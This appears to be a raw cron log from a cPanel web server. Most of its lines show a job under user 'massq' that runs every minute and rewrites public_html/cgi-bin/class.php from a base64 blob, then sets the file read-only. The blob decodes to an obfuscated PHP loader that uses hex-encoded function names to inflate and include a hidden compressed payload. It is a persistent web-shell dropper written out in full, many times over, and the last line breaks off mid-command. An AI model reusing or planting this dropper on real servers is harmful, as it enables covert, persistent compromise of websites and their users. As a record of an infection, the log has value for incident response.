Nov 13 11:16:01 server CROND[9100]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:17:01 server CROND[9960]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:18:01 server CROND[10808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:19:01 server CROND[11736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:20:01 server CROND[12694]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:20:01 server CROND[12693]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:20:01 server CROND[12697]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 11:20:01 server CROND[12698]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 11:20:01 server CROND[12699]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:21:01 server CROND[13542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:22:01 server CROND[14415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:23:01 server CROND[15275]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:24:01 server CROND[16129]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:25:01 server CROND[16995]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:25:01 server CROND[16994]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:25:01 server CROND[16998]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:26:01 server CROND[18004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:27:01 server CROND[18840]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:27:01 server CROND[18841]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 11:28:01 server CROND[19688]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:29:01 server CROND[20529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 